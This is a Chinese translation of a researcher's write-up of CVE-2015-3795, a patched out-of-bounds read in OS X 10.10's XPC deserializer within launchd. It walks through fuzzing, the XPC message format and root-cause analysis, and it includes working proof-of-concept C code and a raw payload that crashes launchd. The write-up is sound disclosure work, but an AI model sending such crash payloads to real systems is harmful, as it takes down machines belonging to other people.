http://blog.wuntee.sexy/CVE-2015-3795/

0×00 背景


这个漏洞是6月4号报告给苹果公司。在8月13号发布的10.10.5安全更新中得到修补。

相关信息:

0×01 mach_shark


在之前的几篇文章里我已经几次提到过mach_shark。该工具的一个用途就是可以制作一个小的c存根函数(c-stub),该存根允许你重放mach消息。正如之前文章提到的,基于MACH的IPC有个状态的概念。虽然由mach_shark生成的c存根函数没有实现与任意进程交互的所有的状态控制。但是它还是提供了一个起始点来进行最小的fuzz。我可以发送消息到kernel或者bootstrap/launchd。

那么现在可以做什么呢?找到我能找到的最复杂的消息,来开始进行最简单的fuzzer。

攻击面看起来最大的区域就是open命令。特别是我很感兴趣如何在默认浏览器没有打开的情况下,通过正确的用户数据,运行一条像open http://wuntee.sexy的命令来打开浏览器,让它指向该URL。

在通过mach_shark运行了open命令之后,审阅300个左右的IPC请求,其中一个看起来是个很好的入口点。一个非常大且复杂的XPC消息,看起来还包含了一些objective-c的类名称。

p1

0×02 fuzzing和crashing


上面提到的c存根函数的输出是非常简单的,但是它构建了正确的MACH消息,并且正确的提取了原始消息想要连接通信的端口。一个输出示例如下:

#!php
kern_return_t ret=task_get_bootstrap_port(mach_task_self(),&bp);
ret=bootstrap_look_up(bp,"com.apple.CoreServices.coreservicesd",&port);
Unsignedchar payload[]={...};
mach_msg_header_t* msg=(mach_msg_header_t*)payload;
msg->msgh_remote_port=port;
msg->msgh_local_port=MACH_PORT_NULL;
msg->msgh_bits=MACH_MSGH_BITS_ZERO;
msg->msgh_bits=MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND,MACH_MSG_TYPE_MAKE_SEND_ONCE,MACH_MSG_TYPE_COPY_SEND);
mach_msg_return_t msg_ret=mach_msg_send(msg);

通过从open命令获取的payload,我就开始来一个简单的字节变异fuzzer。但是直接发送消息到bootstrap/launchd。有个fuzzer跑起来这让我很兴奋,我让它直接在我的本地主机上运行。我回头继续研究其他的MACH payload,让fuzzer在后台跑。过了几分钟,我的机器rebooted because of a problem。我当时脑子就只有一句话,没有比这更简单的方法了。没有了。。

导致我机器重启的原因细节和最后我是如何调试的crash的过程可以在Debugging launchd on OSX 10.10.3一文中找到。

0×03 xpc序列化/反序列化


然后将fuzzer放到VM里面来分析刚才发生crash的根本原因。我可以确定crash是在XPC反序列化程序调用strlen时发生的。这看起来有点奇怪。

所以我开始深入XPC消息结构。为此,我创建了一个见到的服务来接受XPC消息和一个简单的客户端程序,用来发送任意的消息。同时我使用mach_shark工具来抓取消息并记录不同的payload结构。

我抓取的XPC payload基本结构如下:

#!php
[xpc_message_header][xpc_type_$X_1]...[xpc_type_$X_n]

其中的头结构:

#!php
typedef struct __attribute__((packed)) {
  u_int32_t magic;   // "!CPX"
  u_int32_t version;   // "x05\x00\x00\x00"
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
} xpc_message_header;

后面的xpc_type_$X结构:

#!php
typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t size;    // From the end of this on
  u_int32_t num_entries;
  unsigned char payload[];
} xpc_type_complex;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int32_t len;
  char str_or_data[];
} xpc_type_string_or_data;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;
  u_int64_t value;  // Can be uint64, int64, uuid, double
} xpc_type_value;

typedef struct __attribute__((packed)) {
  char key[];      // null terminated
  u_int32_t type;   // Used for external data type like file descriptors and port rights
} xpc_type_novalue;

举个例子:

#!bash
mach message data:
  21 43 50 58 05 00 00 00 00 f0 00 00 48 00 00 00  !CPX........H...
  02 00 00 00 62 6f 6f 6c 5f 76 61 6c 75 65 5f 74  ....bool_value_t
  72 75 65 00 00 20 00 00 01 00 00 00 73 74 72 69  rue.. ......stri
  6e 67 5f 76 61 6c 75 65 00 00 00 00 00 90 00 00  ng_value........
  11 00 00 00 74 68 69 73 20 69 73 20 61 20 73 74  ....this is a st
  72 69 6e 67 00 00 00 00                          ring....

21 43 50 58: Magic "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
48 00 00 00: Size 72
02 00 00 00: 2 Entries
62 6f 6f 6c 5f 76 61 6c 75 65 5f 74 72 75 65 00 00: Key 'bool_value_true' null terminated / padded
00 20 00 00: Type 'boolean'
01 00 00 00: Value 'true'
73 74 72 69 6e 67 5f 76 61 6c 75 65 00 00 00 00: Key 'string_value' null terminated / padded
00 90 00 00: Type 'string'
11 00 00 00: Size 17, including null termination
74 68 69 73 20 69 73 20 61 20 73 74 72 69 6e 67 00 00 00 00: Value 'this is a string'

0×04 根本原因分析


在我分析crash的时候我完全不明白为什么在strlen函数上居然可以crash(现在已经搞清楚了)。为了重现crash必须使用一个很大的payload,这让原因分析变得很困难。更加困难的是因为launchd崩溃了。我不能动态调试代码。不得不用之前文章讲到的coredumps来进行分析。我开始试图逆向libxpc文件但是这个库比我想象的要复杂。所有我转而来编写自己的XPC消息序列化分析器([de]serializer)来探测是paylaod触发了crash。

我使用一个指针来迭代每个目录项的开始,获取该值并创建一个新的的xpc_dictionary对象。当我完成编写这个复杂的类型后,我得到如下代码:

#!cpp
for(int i=0; i<xpc_header->num_entries; i++){
  ...
  size_t key_len = strlen(ptr);
  ...
  ptr += key_len;
  ...
  switch(ptr->type){
    case XPC_SERIALIZED_TYPE_COMPLEX: {
      xpc_type_complex* dict_v = (xpc_type_complex*)ptr;
      ...         
      // TKTK: Cant do this!! Size is user controlled
      *next_entry = (char*)(&dict_v->num_entries) + dict_v->size;
      break;
    }
    ...
  }
}

注意其中的注释。// TKTK: Cant do this!! Size is user controlled。我所做的是构建基础XPC消息结构的原始内存数据,在type类型的基础上进行处理。在这个复杂的类型中,有一个入口叫size,需要设置为XPC对象该部分的整个大小值。但是该值是被消息构建者控制的。所以是不能完全可信的。

当我运行我的反序列化程序来处理导致crash的那段payload时,同样我的代码也在strlen函数处crash了。我告诉自己这不可能是巧合。在对我的反序列化程序进行单步跟踪后,原因就很清晰了,和我的代码一样,libxpc代码信任了这个复杂类型的length值,基于该值增加了指针的值,并认为这就是下一个键的地址。如果你设置了这样的值,程序就尝试去从当前offset+0xFFFFFFFF处读取一个字符串,这就导致了一个segfault。

0×05 证明我的猜测


下一步就是构建一个任意的payload来测试这个理论。当然我想用程序来实现,所以我写了一个库文件,包含一些自定义的xpc_objects将他们序列化打包进一个原始的XPC包中。为了能控制所有XPC对象的数据,我必须重新生成每个自定类型。之后我创建了一个最小的payload来触发crash。

因为这是发送到launchd,我需要一个程序来真实尝试反序列化我的XPC对象。基于一些之前的我对launchctl做的研究,我知道需要发送一个基本的XPC结构。这些包括handle,subsystem,routine键。我用来处理复杂字符串的代码如下:

#!cpp
xpc_serialization_value* vals[4] = {0,0,0,0};
vals[0] = create_xpc_serialization_uint64("handle", 1);
vals[1] = create_xpc_serialization_uint64("subsystem", 1);
vals[2] = create_xpc_serialization_string("a", "a");
((xpc_string_value*)vals[2]->value_pointer)->len = -1;
vals[3] = create_xpc_serialization_uint64("routine", 1);
xpc_serialized_object* obj = serialize_xpc_object(vals, 4);
// Print raw bytes of xpc_serialized_object// Output => {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

触发crash的代码:

#!objc
#include <xpc/xpc.h>
void send_payload(void * xpc_payload, unsigned int xpc_payload_size){
        unsigned int size = sizeof(mach_msg_header_t) + xpc_payload_size;
        unsigned char* payload = calloc(size, sizeof(char));

        memcpy(payload+sizeof(mach_msg_header_t), xpc_payload, xpc_payload_size);

        mach_port_t port;
        kern_return_t ret = task_get_bootstrap_port(mach_task_self(), &port);
        mach_msg_header_t *msg = (mach_msg_header_t *)payload;
        msg->msgh_id = 0x10000000;
        msg->msgh_remote_port = port;
        msg->msgh_local_port = MACH_PORT_NULL;
        msg->msgh_bits = MACH_MSGH_BITS_ZERO;
        msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);

        mach_msg_return_t msg_ret;
        msg->msgh_size = size;
        msg_ret = mach_msg_send(msg);
}

int main(){
        unsigned char payload[] = {0x21, 0x43, 0x50, 0x58, 0x05, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x00, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x68, 0x61, 0x6e, 0x64, 0x6c, 0x65,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0x75, 0x62, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x61, 0x00, 0x00, 0x00, 0x72, 0x6f, 0x75, 0x74, 0x69, 0x6e, 0x65, 0x00, 0x00, 0x40, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
        send_payload(payload, sizeof(payload));

        return(0);
}%

分析payload,我们可以看到:

#!bash
21 43 50 58: Macing "!CPX"
05 00 00 00: Version 5
00 f0 00 00: Type 'dictionary'
5c 00 00 00: Size 0x5c
04 00 00 00: 4 entries
68 61 6e 64 6c 65 00 00: Key 'handle'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
73 75 62 73 79 73 74 65 6d 00 00 00: Key 'subsystem'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value 1
61 00 00 00: Key 'a'
00 90 00 00: Type 'string' 
ff ff ff ff: Size 0xFFFFFFFF    ** TRIGGER CRASH **
61 00 00 00: Value 'a'
72 6f 75 74 69 6e 65 00: Key 'routine'
00 40 00 00: Type 'uint64'
01 00 00 00 00 00 00 00: Value '1'

苹果公司已经修复了这个bug的特殊的实例。但是在我审计到10.11之前我发现这个bug的类依然还是存在于最新的10.10中。在10.11中,苹果公司已经将用户空间的‘mach_msg_send’函数变为使用另一个在libxpc.dylib中的函数,该函数不需要使用mach_msg_send。我还没有在OS X 10.11+中找到任何的crash。

0×06 影响和利用


看起来OSX IPC正在向所有的程序都使用XPC转移。虽然我没有测试在XPC进程内核的各个角落(我没有太努力寻找),但是就在OSX系统PID1进程launchd(类似于Linux里的init)中找到了这个bug。况且有很多的IPC服务以root权限运行,非特权用户都使用XPC来进行通信。所以如果这个bug可以被利用的话,将非常危险。

这个bug是一个任意向前读。从基础的理论证明来看,基本很难被利用(我的溢出利用技术很不足)。我所知道的一些理论:

  • 也许可以利用这个bug来实现内存泄露,如果你可以建立一个堆使得offset成为一个XPC消息的key值,但是基本上还是会crash,因为它阻止了之后的序列化数据。
  • 一些更加复杂的MACH消息包含更复杂的逻辑功能。比如端口的转移权限,文件描述符的拥有权限等。它们也可能存在有利用潜力的其他代码缺陷,可以导致crash。